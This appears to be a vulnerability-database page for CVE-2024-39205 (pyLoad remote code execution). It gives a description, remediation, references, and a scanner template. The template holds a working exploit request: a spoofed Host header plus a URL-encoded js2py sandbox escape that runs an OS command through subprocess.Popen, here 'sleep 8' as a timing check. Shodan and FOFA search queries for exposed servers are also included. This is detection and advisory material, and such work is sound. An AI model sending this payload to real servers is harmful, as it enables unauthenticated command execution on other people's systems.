CVE-2024-39205: pyLoad <= 0.5.0b3.dev85 - Remote Code Execution

2026-12-04 PoC Public

Description

pyLoad-ng through 0.5.0b3.dev85, when running on Python 3.11 or below, exposes the js2py-backed /flash/addcrypted2 API endpoint which is vulnerable to a js2py sandbox escape (CVE-2024-28397). Although the endpoint is designed for localhost only, the check can be bypassed by setting the Host header to 127.0.0.1:9666, allowing an unauthenticated remote attacker to execute arbitrary OS commands via the jk parameter.

Details

CVE
CVE-2024-39205 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2024-39205

info:
  name: pyLoad <= 0.5.0b3.dev85 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    pyLoad-ng through 0.5.0b3.dev85, when running on Python 3.11 or below, exposes the js2py-backed /flash/addcrypted2 API endpoint which is vulnerable to a js2py sandbox escape (CVE-2024-28397). Although the endpoint is designed for localhost only, the check can be bypassed by setting the Host header to 127.0.0.1:9666, allowing an unauthenticated remote attacker to execute arbitrary OS commands via the jk parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands on the server.
  remediation: |
    Upgrade pyLoad-ng to 0.5.0b3.dev87 or later, or run it under Python 3.12 or above (where js2py is not used).
  reference:
    - https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r
    - https://www.rapid7.com/db/modules/exploit/linux/http/pyload_js2py_cve_2024_39205/
    - https://security.snyk.io/vuln/SNYK-PYTHON-PYLOADNG-7925721
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-39205
    cwe-id: CWE-94
    epss-score: 0.18428
    epss-percentile: 0.97306
  metadata:
    verified: false
    max-request: 1
    vendor: pyload
    product: pyload
    shodan-query: http.title:"pyLoad"
    fofa-query: title="pyLoad"
  tags: cve,cve2024,pyload,js2py,rce,vkev

http:
  - raw:
      - |+
        @timeout: 30s
        POST /flash/addcrypted2 HTTP/1.1
        Host: 127.0.0.1:9666
        Content-Type: application/x-www-form-urlencoded

        package=pkg&crypted=MTIzNA%3D%3D&jk=%0alet%20cmd%20%3D%20%22sleep%208%22%0alet%20hacked%2C%20bymarve%2C%20n11%0alet%20getattr%2C%20obj%0ahacked%20%3D%20Object.getOwnPropertyNames(%7B%7D)%0abymarve%20%3D%20hacked.__getattribute__%0an11%20%3D%20bymarve(%22__getattribute__%22)%0aobj%20%3D%20n11(%22__class__%22).__base__%0agetattr%20%3D%20obj.__getattribute__%0afunction%20findpopen(o)%20%7B%0alet%20result%3B%0afor(let%20i%20in%20o.__subclasses__())%20%7B%0alet%20item%20%3D%20o.__subclasses__()%5Bi%5D%0aif(item.__module__%20%3D%3D%20%22subprocess%22%20%26%26%20item.__name__%20%3D%3D%20%22Popen%22)%20%7B%0areturn%20item%0a%7D%0aif(item.__name__%20!%3D%20%22type%22%20%26%26%20(result%20%3D%20findpopen(item)))%20%7B%0areturn%20result%0a%7D%0a%7D%0a%7D%0an11%20%3D%20findpopen(obj)(cmd%2C%20-1%2C%20null%2C%20-1%2C%20-1%2C%20-1%2C%20null%2C%20null%2C%20true).communicate()%0afunction%20f()%20%7B%0areturn%20n11%0a%7D%0a

    matchers:
      - type: dsl
        dsl:
          - "duration >= 8"
          - "contains(body, 'Could not decrypt key')"
          - "status_code == 200 || status_code == 500"
        condition: and
# digest: 4a0a00473045022100cc7c75d788fe455b736f40147cf66f73250d598875a8227e94b6f367785a57de022077cdf6c48ba669004ee3d8e4d3ddac2c8a7bbb184cf8b4dd28379a30dec3c2ce:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life